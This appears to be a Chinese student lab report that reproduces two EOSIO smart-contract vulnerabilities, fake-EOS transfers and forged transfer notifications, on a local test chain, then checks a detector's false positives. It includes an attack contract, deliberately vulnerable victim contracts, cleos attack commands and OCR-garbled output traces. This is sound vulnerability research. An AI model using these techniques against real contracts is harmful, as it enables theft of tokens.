1 完整的转账流程



图 1: EOS 转账流程图

如图 1,是 EOSIO 转账的流程图。首先,用户向 eosio.token 发送一个转账请求(transfer action), eosio.token 收到请求后会调用相对应的函数将双方的余额进行更改,并通过 require_recipient 函数转发 notification 到双方,最后双方收到 notification 之后进入到各自的函数进行各自的业务逻辑。

2 漏洞一复现

2.1 漏洞一攻击成功的标准

由于在测试合约中(受害者)的 *transfer* 函数并没有进行转账的操作,所以我们攻击成功的标准并不能以双方余额的变化而判断攻击是否成功,而是看最后测试合约的 *transfer* 函数是否会被调用,并且会输出 *transfer* 里面的内容。

```
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
   print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{
   action}, "\n");
   auto self = receiver;
   test thiscontract( self );
   switch(action){
      print("action", name{action});
      EOSIO_API( test, (transfer) )
   }
}
```

```
void transfer(account_name from, account_name to, asset quantity, string memo)
{
    print("\n Receiving transfer message: from ", name{from}, " to ", name{to},
    ",", quantity, ",", memo);
    print("attack successfully!!");
    // doSomething(); // perform to transfer EOS
}
```

如果测试合约的 *transfer* 中的 "*print*" 有输出,则说明测试合约的 *transfer* 被调用,也说明攻击成功。

2.2 创建受害者账户 victim4, 并部署测试合约 test.cpp

• 测试合约 test.cpp

```
#include <eosiolib/eosio.hpp>
      #include <eosiolib/asset.hpp>
      #include <eosiolib/print.hpp>
      #include <string>
      using namespace std;
       using namespace eosio;
       class test : public contract{
         public:
         using contract::contract;
11
         [[eosio::action]]
         void transfer (account_name from, account_name to, asset quantity, string
12
      memo)
13
           print("\n Receiving transfer message: from ", name{from}, " to ", name{to
14
      }, ",", quantity, ",", memo);
    print("attack successfully!!");
           // doSomething(); // perform to transfer EOS
16
         }
17
       };
18
      extern "C" {
20
         void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
21
           print("receiver:", name{receiver}, ", code:", name{code}, ", action:",
22
      name{action}, "\n");
           auto self = receiver;
           test this contract ( self );
           switch(action){
  print("action", name{action});
25
26
27
             EOSIO_API( test, (transfer))
28
           }
         }
29
      }
30
```

• 创建受害者账户 victim4

```
[lwy@localhost flaw]$ cleos create account eosio victim4
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction:
c3c5d36c0448d77d429fd1b350e20fdbfb891a4f0d67e558f8089e612f5f769a 200 bytes
495 us
# eosio <= eosio::newaccount {"creator":"eosio","name":"
victim4","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3L9...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 部署测试合约 test.cpp

```
[lwy@localhost flaw]$ cleos set contract victim4 test/-p victim4
Reading WASM from /home/lwy/trash/flaw/test/test.wasm...
Publishing contract...
executed transaction:
ac02f7b0b2e0ba395196ad670852f4d7fa8ebfe1c7384fd0d58f96e160a9d868 3304 bytes
1369 us
# eosio <= eosio::setcode {"account":"victim4","vmtype"
:0,"vmversion":0,"code":"0061736d0100000001611160057f7e7e7f7f0060000060...
# eosio <= eosio::setabi {"account":"victim4","abi":"0
e656f73696f3a3a6162692f312e300001087472616e7366657200040466726f6d046e61...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

2.3 直接调用 test.cpp 合约的 transfer (主要目的看是否 trasnfer 中的 print 是否有输出

参数说明:之前也是这样进行调用的,只不过现在在命令行最后加了一个"-j",说明结果以 json 的格式进行输出的

```
[lwy@localhost flaw]$ cleos push action victim4 transfer '["eosio","victim4
","10.0000 EOS","inlined call"]' -p eosio -j
```

```
"console": "receiver:victim4, code:victim4, action:transfer\n\n Receiving transfer message: from eosio to victim4,10.0000 EOS,inlined callattack successfully!!",
```

结果显示: 测试合约的 transfer 函数有输出(其实之前应该也是有输出的,只不过不会在窗口有输出,后面加了一个 "-j",最终结果显示了测试合约的 transfer 函数被调用了,具体结果看图 2

```
lwy@localhost flaw]$ cleos push action victim4 transfer '["eosio","victim4","10.0000 EOS","inlined call"]' -p eosio -j
  "transaction_id": "488bleb9faaf1760caeed659dec13934f296f0e5736499b8dcd745d709ed32a5",
"processed": {
    "id": "488bleb9faaf1760caeed659dec13934f296f0e5736499b8dcd745d709ed32a5",
    "block_num": 2590555,
    "block_time": "2021-08-02T06:51:13.500",
    "producer_block_id": null,
    "receipt": {
        "status": "executed",
        "cpu_usage_us": 644,
        "net_usage_words": 18
},
         },
"elapsed": 644,
        "elapsed": 644,
"net_usage": 144,
"scheduled": false,
"action_traces": [{
    "action_ordinal": 1,
    "creator_action_ordinal": 0,
    "closest_unnotified_ancestor_action_ordinal": 0,
    "receipt": {
    "receiver": "victim4",
    "act_digest": "5d542ad28ba74a22a4a2e0b8a3f22dc1287e38f4aa32217065f624f247f44140",
    "global_sequence": 2590931,
    "recv_sequence": 1,
    "auth_sequence": [[
        "eosio",
        2590704
    ]
                       ],
"code_sequence": 1,
"abi_sequence": 1
                  },
"receiver": "victim4",
"act": {
   "account": "victim4",
   "account": "transfer",
                        "account": "victim4",
"name": "transfer",
"authorization": [{
    "actor": "eosio",
    "permission": "active"
                     ],
"data": {
    "from": "eosio",
    "to": "victim4",
    "quantity": "10.0000 EOS",
    "memo": "inlined call"
    "000000000000ea305
                        },
"hex data": "0000000000ea305500000080489791dba086010000000004454f5300000000c696e6c696e65642063616c6c"
"clapsod": 194,
"console": "receiver:victim4, code:victim4, action:transfer\n\n Receiving transfer message: from eosio to victim4,10
.0000 EOS,inlined callattack successfully!!",
"trx_id": "488bleb9faaf1760caeed659dec13934f296f0e5736499b8dcd745d709ed32a5".
                  "block_num": 2590555,

"block_time": "2921-08-02T06:51:13.500",

"produce_block_id": null,

"account_ram_deltas": [],

"except": null,

"error_code": null
        }
],
"account_ram_delta": null,
"except": null,
"error_code": null
```

图 2: inlined call

2.4 利用假的 EOS 进行转账复现漏洞一

2.4.1 创建账户 attacker5 并部署系统合约 eosio.token

• 创建账户 attacker5 用来部署合约从而发布假的 EOS

```
[lwy@localhost flaw]$ cleos create account eosio attacker5
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction:
e7ef2d774bc8517691d60c5b0f8f79b3f1b62ed7c3f3f20a704aa6321a4d3d9a 200 bytes
538 us
# eosio <= eosio::newaccount {"creator":"eosio","name":"
attacker5","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 部署系统合约 eosio.token

```
[lwy@localhost flaw]$ cleos set contract attacker5 eosio.token/-p attacker5
Reading WASM from /home/lwy/trash/flaw/eosio.token/eosio.token.wasm...
Publishing contract...
executed transaction: 61
dd18d397414c4ac734972a6089be99ad371d3df4a85b489b74ece57f0961ea 8104 bytes
2817 us
# eosio <= eosio::setcode {"account":"attacker5","vmtype
":0,"vmversion":0,"code":"0061736d01000000017e1560037f7e7f0060057f7e7e...
# eosio <= eosio::setabi {"account":"attacker5","abi":"
0e656f73696f3a3a6162692f312e30010c6163636f756e745f6e616d65046e616d6505...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

2.4.2 利用账户 attacker5 创建 fake EOS, 并向攻击账户 attacker1 发送一些 fake EOS 用来发起攻击

• 账户 attacker5 创建 fake EOS

```
[lwy@localhost flaw]$ cleos push action attacker5 create '["attacker5","1000000.0000 EOS"]' -p attacker5
executed transaction: 4111
c73b5c1765fc05d843844e13747591aa061224ab86feec0e253d6ee30b85 120 bytes 588 us
# attacker5 <= attacker5::create {"issuer":"attacker5","
maximum_supply":"1000000.0000 EOS"}
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

注: 这里的代币 issuer 是 attacker5, 而不是 eosio.token

• 向攻击账户 attacker1 发送一些 fake EOS 用来发起攻击

2.4.3 发起攻击(看是否会输出测试合约的 print 里的内容)

```
[lwy@localhost flaw]$ cleos push action attacker5 transfer '["attacker1"," victim4","10.0000 EOS","fake EOS"]'—p attacker1
executed transaction: 50
b1157c8b9932ef442b49930d186f2ed46b83ed3c455affd0e73cb84601dc4b 136 bytes 875
us

# attacker5 <= attacker5::transfer {"from":"attacker1","to":" victim4","quantity":"10.0000 EOS","memo":"fake EOS"}

# attacker1 <= attacker5::transfer {"from":"attacker1","to":" victim4","quantity":"10.0000 EOS","memo":"fake EOS"}

# victim4 <= attacker5::transfer {"from":"attacker1","to":" victim4","quantity":"10.0000 EOS","memo":"fake EOS"}

>> receiver:victim4, code:attacker5, action:transfer warning: transaction executed locally, but may not be confirmed by the network yet ]
```

• 结果如图 3, 结果显示向账户 victim4 发送 fake EOS, 测试合约的 transfer 函数被调用

与直接调用测试合约不同的是(直接调用相当于一个 $inlined\ call$, $code\$ 与 $receiver\$ 相等,故会有输出,如图 2),但用 $fake\ EOS$ 进行转账的 $code\$ 与 $receiver\$ (即也就是 self)不一样,所以需要把判断条件 $if(code\ ==\ self)$ 删掉,然后再进行转账看是否有输出

图 3: 利用 fake EOS 进行转账

- 2.4.4 重新部署测试合约,加上条件 if(code === eosio.token, 证明用 fake EOS 进行转 账不会调用 transfer 函数,而用 true EOS) 转账会调用测试合约的 transfer 函数
 - 账户 victim4 重新部署测试合约

```
[lwy@localhost flaw]$ cleos set contract victim4 test/-p victim4
Reading WASM from /home/lwy/trash/flaw/test/test.wasm...
Skipping set abi because the new abi is the same as the existing abi
Publishing contract...
executed transaction:
c6d6f591a8c7a1754b32a95e7c45aa2335726cc454dd513b8cd9cc6ab4ce2c00 3376 bytes
1368 us
# eosio <= eosio::setcode {"account":"victim4","vmtype"
:0,"vmversion":0,"code":"0061736d0100000001611160057f7e7e7f7f0060000060...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 用 fake EOS 进行转账,看是否会有输出。如图 4所示,并没有调用 transfer

```
"action_ordinal": 3,
    "creator_action_ordinal": 1,
    "closest_unnotified_ancestor_action_ordinal": 1,
    "receipt":
    "receipt":
    "receipt":
    "foroa:329-425cd00a7b19a8265d7d44b846051d515db058bfd001220591f111",
    "global_sequence": 16,
    "global_sequence": 16,
    "auth_sequence": 16,
    "attacker!",
    144
    ]
    ],
    "code_sequence": 1,
    abi_sequence": 1
    ,*abi_sequence": 1
    ,*abi_sequence": 1
    ,*abi_sequence": 1
    ,*abi_sequence": 1
    ,*account: "attackers",
    "aname": "transfer",
    "authorization": [{
        "account: "attackers",
        "permission": "active"
    }
    ],
    "data": {
        "from": "attacker!",
        "quantity": "10.0000 EOS",
        "memon: "fake EOS"
    },
    "context_free": false,
    "elassed: 59,
    "console": "receiver: victin4, code:attacker5, action:transfer\n",
    "(r\dis '' yycy)s/10sa2dcft2/1/3d/7b1/111/f0es0y1b7/y8y/c/3ae4esa89f7430d47",
    block_tum=': *2021-08-08107:00:04-500",
    "producer_block_id*: null,
    "account_ram_delta*: null,
    "error_code*: null
    "error_code*: null
    "error_code*: null,
    "error_code*:
```

图 4: 利用 fake EOS 进行转账 (有判断条件)

• 用 true EOS 进行转账,看是否会有输出。如图 5所示,显示调用 transfer 并输出了里面的内容

图 5: 利用 true EOS 进行转账

3 漏洞二复现

3.1 漏洞二攻击成功的标准

与漏洞一的标准一样,不能以双方余额的变化而判断攻击是否成功,而是看最后测试合约的 transfer 函数是否会被调用,并且会输出 transfer 里面的内容。

```
void transfer(account_name from, account_name to, asset quantity, string memo)
{
    print("\n Receiving transfer message: from ", name{from}, " to ", name{to},
    ",", quantity, ",", memo);
    if (from == _self) {
        print("have a vulnerability!");
        return;
    }
    print("in eosbet transfer,", name{ from }, ",", name{ to });
    // doSomething()
}
```

第一个 "print" 说明该 transfer 函数被调用;第二个 "print" 说明程序进行了 _self 与 to 的比较,若这个 "print" 有输出,则说明存在漏洞;第三个 "print" 如果有输出,即说明攻击成功。

- 3.2 创建攻击者账户 sender (用于向 notifier 转账) 及 notifier (用于将收到的通知转发给受害者),并向攻击者账户 sender 充值一些 EOS (用于转账),最后向账户 notifier 部署攻击合约 eosbethack.cpp
 - 创建账户 sender

```
[lwy@localhost flaw]$ cleos create account eosio sender
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction: 24854
bbced85da306bc19c835bd7908130487bbfaf6ed54137bc355a96872aa4 200 bytes 532 us
# eosio <= eosio::newaccount {"creator":"eosio","name":"
sender","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3L9E...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 创建账户 notifier

```
[lwy@localhost flaw]$ cleos create account eosio notifier
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction: 2
dafd3625ab8fb4ed3139176527ee66c432ab83df6a11c59354414f0b7a62c84 200 bytes 911
us
# eosio <= eosio::newaccount {"creator":"eosio","name":"
notifier","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3L...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 向账户 sender 充值 100EOS 用于转账

```
[lwy@localhost flaw]$ cleos push action eosio.token issue '["sender","100.0000
EOS",""] '-p eosio
executed transaction: 5
fe0a9f5c80bdf4d13ae6553524070092ceb440ab196e53d882a0f3d9d975590 \\ 120 bytes
                                                 {"to": "sender", "quantity": "
# eosio.token <= eosio.token::issue
100.0000 EOS", "memo": ""}
# eosio.token <= eosio.token::transfer
                                                 {"from": "eosio", "to": "sender",
"quantity": "100.0000 EOS", "memo": ""}
                                                 {"from": "eosio", "to": "sender",
          eosio <= eosio.token::transfer
"quantity": "100.0000 EOS", "memo": ""}
                                                 {"from": "eosio", "to": "sender",
# sender <= eosio.token::transfer
"quantity": "100.0000 EOS", "memo": ""}
warning: transaction executed locally, but may not be confirmed by the network
root@38696dc98b9a:/home/files/test1/Vul2# cleos get currency balance eosio.
token sender
100.0000 EOS
```

• 攻击合约 eosbethack.cpp (用于将收到的通知转发给受害者)

```
#include <eosiolib/eosio.hpp>
      #include <eosiolib/print.hpp>
      #include <eosiolib/asset.hpp>
     #include <eosiolib/types.hpp>
     #include <eosiolib/action.hpp>
     #include <eosiolib/symbol.hpp>
     #include <cstring>
      using namespace eosio;
      using namespace std;
11
     #define EOSIO_ABI_EX( TYPE, MEMBERS ) \
12
      extern "C" { \
13
        14
          print("receiver:", name{receiver}, ", code:", name{code}, ", action:",
     name\{action\}, "\n");\
          auto self = receiver; \
          if((code = N(eosio.token) \&\& action = N(transfer))) { }
17
            print("\n eosio.token's transfer function is called!");\
18
            TYPE this contract ( self ); \
19
            switch( action ) {
20
              EOSIO_API( TYPE, MEMBERS ) \
21
22
23
24
25
26
      class eosbethack: public eosio::contract {
27
        public:
28
        using contract::contract;
29
        /// @abi action
31
        [[eosio::action]]
        void transfer (account_name from, account_name to, asset quantity, string
32
     memo) {
          if (from == _self || to != _self)
33
          {
34
            return;
35
          }
36
          require_recipient (N(victim5));
37
38
          print("transfer notification to victim5");
39
        }
40
      };
41
      EOSIO_ABI_EX( eosbethack, (transfer) )
42
43
```

• 账户 notifier 部署攻击合约 eosbethack.cpp

```
[lwy@localhost flaw]$ cleos set contract notifier eosbethack/—p notifier Reading WASM from /home/lwy/trash/flaw/eosbethack/eosbethack.wasm...
Publishing contract...
executed transaction: 38
e60e9217af727f41f5ffdb51faa84dabf5f00bf9f3015878e15bcfa96ef418 3216 bytes 1474 us

# eosio <= eosio::setcode {"account":"notifier","vmtype":0,"vmvversion":0,"code":"0061736d0100000001611160057f7e7e7f7f006000006...
# eosio <= eosio::setabi {"account":"notifier","abi":"0 e656f73696f3a3a6162692f312e300001087472616e7366657200040466726f6d046e6...
warning: transaction executed locally, but may not be confirmed by the network yet ]
```

3.3 创建受害者账户 victim5, 并部署测试合约 eosbet.cpp

• 创建账户 victim5

```
[lwy@localhost flaw]$ cleos create account eosio victim5
EOS7YsnqrGspL8hYWHhpiv3L9EapxVjDwbcEY7aUpQgSuMDKhV2Vq
executed transaction:
f15699b9b23e3da242cd948f8db00d75bf2d31f49330dcc4b9859eecadd6a9e5 200 bytes
662 us
# eosio <= eosio::newaccount {"creator":"eosio","name":"
victim5","owner":{"threshold":1,"keys":[{"key":"EOS7YsnqrGspL8hYWHhpiv3L9...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 测试合约 eosbet.cpp

```
#include <eosiolib/eosio.hpp>
      #include < eosiolib / print . hpp>
      #include <eosiolib/asset.hpp>
      #include <eosiolib/types.hpp>
      #include <eosiolib/action.hpp>
      #include <eosiolib/symbol.hpp>
      #include <cstring>
      using namespace eosio;
      using namespace std;
11
     #define EOSIO_ABI_EX( TYPE, MEMBERS ) \
12
      extern "C" { \
13
        14
          print("receiver:", name\{receiver\}, ", code:", name\{code\}, ", action:",\\
15
     name{action}, "\n");\
          auto self = receiver; \
          if((code = N(eosio.token) \&\& action = N(transfer))) { }
17
            TYPE thiscontract ( self ); \
18
            switch( action ) { \
19
              EOSIO_API( TYPE, MEMBERS ) \
20
21
22
23
24
25
      class eosbet: public eosio::contract {
26
27
        public:
        using contract::contract;
28
        /// @abi action
29
30
        [[eosio::action]]
        void transfer (account_name from, account_name to, asset quantity, string
31
      print("\n Receiving transfer message: from ", name{from}, " to ", name{to}, ",", quantity, ",", memo);
32
          if (from == _self) {
33
            print("have a vulnerability!");
34
35
36
          print("in eosbet transfer,", name{ from }, ",", name{ to });
37
38
          // doSomething();
39
40
      };
41
      EOSIO_ABI_EX( eosbet, (transfer) )
42
```

• 账户 victim5 部署测试合约 eosbet.cpp

```
[lwy@localhost flaw]$ cleos set contract victim5 eosbet/—p victim5
Reading WASM from /home/lwy/trash/flaw/eosbet/eosbet.wasm...
Publishing contract...
executed transaction:
d390c9051df759d28e4f5ef3179eb9aea59711c61855bcc9250e6b5d6faf2905 3512 bytes
1547 us
# eosio <= eosio::setcode {"account":"victim5","vmtype"
:0,"vmversion":0,"code":"0061736d0100000001611160057f7e7e7f7f0060000060...
# eosio <= eosio::setabi {"account":"victim5","abi":"0
e656f73696f3a3a6162692f312e300001087472616e7366657200040466726f6d046e61...
warning: transaction executed locally, but may not be confirmed by the network
yet ]
```

• 向账户 victim5 充值 100EOS 用于检测直接调用 transfer 是否会产生输出

```
[lwy@localhost flaw]$ cleos push action eosio.token issue '["victim5
 ","100.0000 EOS",""]' -p eosio
executed transaction:
e08097b333546864c705e20c1196e7c32bd1b390a1a9bd8b3c095db466223e3a 120 bytes
# eosio.token <= eosio.token::issue
                                                 {"to":"victim5", "quantity":"
100.0000 EOS", "memo": ""}
                                                 {"from": "eosio", "to": "victim5"
# eosio.token <= eosio.token::transfer
 "quantity": "100.0000 EOS", "memo": ""}
                                                 {"from": "eosio", "to": "victim5"
          eosio <= eosio.token::transfer
","quantity":"100.0000 EOS", "memo":"",
                                                 {"from": "eosio", "to": "victim5"
# victim5 <= eosio.token::transfer
", "quantity": "100.0000 EOS", "memo": ""}
>> receiver:victim5, code:eosio.token, action:transfer
warning: transaction executed locally, but may not be confirmed by the network
```

3.4 发起攻击(看是否会输出测试合约的 print 里的内容)

3.4.1 账户 sender (攻击者) 向账户 notifier (攻击者) 发送 EOS

注: 这里攻击账户 sender 向攻击账户 notifier 转账, 第一个 ">>" 输出了 eosbethack.cpp 中 apply 函数里面的内容。

而由于账户 notifier 部署了 eosbethack.cpp 合约,其中有一段代码:require_recipient(N(victim5)), 会把收到的转账 notification 发给账户 victim5, 所以也会调用 eosbet.cpp 合约的 apply 函数, 第二个 ">>" 输出了 eosbet.cpp 中的 apply 函数内容

```
[lwy@localhost flaw] $ cleos push action eosio.token transfer '["sender","
notifier", "10.0000 EOS", "transfer himself"] '-p sender
executed transaction:
dc7c58de6b1f536a81b4a56dcd1610a8e6a0f551ae550ad45d129782a0deb18c \\ 144 \ bytes
# eosio.token <= eosio.token::transfer
                                                   {"from": "sender", "to": "
notifier", "quantity": "10.0000 EOS", "memo": "transfer himself"}
         sender <= eosio.token::transfer { "from":"sender", "to":"
notifier", "quantity": "10.0000 EOS", "memo": "transfer himself"}
                                               {"from": "sender", "to": "
      notifier <= eosio.token::transfer
notifier", "quantity": "10.0000 EOS", "memo": "transfer himself"}
>> receiver:notifier, code:eosio.token, action:transfer
        victim5 <= eosio.token::transfer
                                                 {"from": "sender", "to": "
notifier", "quantity": "10.0000 EOS", "memo": "transfer himself"} >> receiver: victim5, code: eosio.token, action: transfer
warning: transaction executed locally, but may not be confirmed by the network
```

注: 这里并没有显示测试合约 eosbet.cpp 中的 print 里的内容,但是可以加一个 -j 从而可以得到输出内容,如图 3;其实我也测试了加了判断条件 $if(from == _self||to! = _self)$ 的合约,最后测试是不存在漏洞的

```
void transfer(account_name from, account_name to, asset quantity, string memo)
{
    print("\n Receiving transfer message: from ", name{from}, " to ", name{to},
    ",", quantity, ",", memo);
    if (from == _self || to != _self) {
        print("don't have a vulnerability!");
        return;
    }
    print("in eosbet transfer,", name{ from }, ",", name{ to });
}
```

最后结果为(以下是它的一部分输出结果,结果也显示这种是不存在漏洞的,因为第3个 print 并没有输出,所以也就说明程序在第2个 print 就已经结束了):

```
"console": "receiver:victim5, code:eosio.token, action:transfer\n\n Receiving transfer message: from sender to notifier,10.0000 EOS, transfer himselfdon't have a vulnerability!"
```

```
],
"code_sequence": 1,
"abi_sequence": 1
                 "abi_sequen";
"receiver": "notifier",
"act": {
    "account": "eosio.token",
    "name": "transfer",
    "authorization": [{
        "actor": "sender",
        "permission": "active"
    }
                     ],
"data": {
    "from": "sender",
    "to": "notifier",
    "quantity": "10.0000 EOS",
    "memo": "transfer himself"
                        },
"hex_data": "000000005c95a6c200000057b9e5329da08601000000000004454f5300000000107472616e736665722068696d73656c66"
                   },
"context_free": false,
"elapsed": 152
                  "console": "receiver:notifier, code:eosio.token, action:transfer\ntransfer notification to victim5",
"trx id": "boc43bcdlcd170d29f05bd7466065f9c9d0b56b1274ff00d0cc0c13c5bb6b971",
                  "trx_id": "b0c43bcdlcd176d29f05bd7466065f
"block_num": 2632008,
"block_time": "2021-08-02T12:36:40.000",
"producer_block_id": null,
"account_ram_deltas": [],
"except": null,
"error_code": null
{
         "error_code": Nutc
},{
    "action_ordinal": 4,
    "creator_action_ordinal": 3,
    "closest_unnotified_ancestor_action_ordinal": 1,
    "receipt": {
        "receiver": "victim5",
        "act_digest": "f0*fbd54b2c0d6bc0bd3214ce58c7fd338e5dc232d57cd057d61218570ec0b7fb",
    "qlobal_sequence": 2632434,
    "recv_sequence": 4,
    "auth_sequence": [[
        "sender",
        12
        ]
}
                        ],
"code_sequence": 1,
"abi_sequence": 1
                 "abl_sequenty" "victim5",

"receiver": "victim5",

"act": {
    "account": "eosio.token",
    "name": "transfer",
    "authorization": [{
        "actor": "sender",
        "permission": "active"
    .
}
                     ],
"data": {
    "from": "sender",
    "to": "notifier",
    "quantity": "10.0000 EOS",
    "memo": "transfer himself"
    "10.00000005c95a6c
                        },
"hex_data": "000000005c95a6c200000057b9e5329da086010000000004454f530000000107472616e736665722068696d73656c66"
                   },
"context_free": false,
"elansed": 3579
"elansed<sup>#</sup>: 3570
"console": "receiver:victim5, code:eosio.token, action:transfer\n\n Receiving transfer message: from sender to notifier,10
.0000 EOS,transfer himselfin eosbet transfer,sender,notifier",
    "trx_id': "bocqsbcdred178d29f85bd7400005f9e9d0b5ob1274ff00d8cc0e13c5bbob971",
    "block_num": 2632008,
    "block_time": "2021-08-02T12:36:40.000",
    "producer_block_id': null,
    "account_ram_deltas": [],
    "except": null,
    "error_code": null
}
        ],
"account_ram_delta": null,
"except": null,
"error_code": null
```

图 6: Forged Transfer Notification

3.5 问题

上次视频之后,针对师兄说的考虑四种情况:

- 只部署真的 eosio.token 合约, 账户是 eosio.token, 然后进行其他操作
- 只部署假的 eosio.token 合约, 账户不是 eosio.token, 然后进行其他操作
- 先部署真的 eosio.token 合约, 然后再部署假的 eosio.token 合约, 再进行其他操作
- 先部署假的 eosio.token 合约, 然后再部署真的 eosio.token 合约, 再进行其他操作

突然发现一个问题:因为部署官方系统合约 eosio.token 的账户,不管是账户 eosio.token,还是其他账户,部署完合约之后都是用当前创建系统合约的账户进行操作的,并不会去影响其他创建系统合约 eosio.token 的账户,它们之间应该是没有相互影响的,所以应该跟它的部署顺序无关。

4 检测合约漏洞(判断假阴性和假阳性)

4.1 验证

4.2 利用宏 EOSIO_ABI() 进行映射 action 的智能合约(能够检测出来的只有7个, 其他使用了宏的合约中并没有 transfer 函数)

注: EOSFuzzer 中提到: 利用宏进行 action 映射的合约只能处理 $code == _self$ 的情况,所以合约不能处理由 eosio.token 合约的 EOS,只能处理除了 EOS 其他的代币,如图 7是论文 EOSFuzzer 中的描述

As shown in Table 14, the *token* smart contract is reported by EVulHunter as *Fake EOS Transfer* vulnerability. However, within the token contract, it uses the EOSIO ABI macro for default action mapping. The EOSIO ABI can only handle scenarios where *code* is equal to *self*. Therefore, the *token* contract cannot handle EOS transfer from the *eosio.token* contract. It is only a contract handling tokens other than EOS. Therefore, the *token* contract is a false positive case of EVulHunter.

图 7: EOSIO_ABI 宏的说明

接下来简单验证其中几个合约是否属于这种情况:

4.2.1 验证 ethplay 合约

• 直接调用 ethplay.cpp 的 transfer 函数, 结果如图 8

图 8: 验证 $code == _self$ 是否可以发生调用

4.2.2 验证 test.token 合约

• 直接调用 test.token.cpp 的 transfer 函数, 结果如图 9

图 9: 验证 code == self 是否可以发生调用

4.2.3 验证 eosio.nft 合约

• 直接调用 eosio.nft.cpp 的 transfer 函数, 结果如图 10

图 10: 验证 $code == _self$ 是否可以发生调用

注:至于为什么没有用 eosio.token 进行转账的截图,主要是因为我每个合约都测试了一遍,并且都进行了转账,最后发现并没有去调用测试合约的 transfer 函数(因为并没有输出 transfer 函数里面的内容)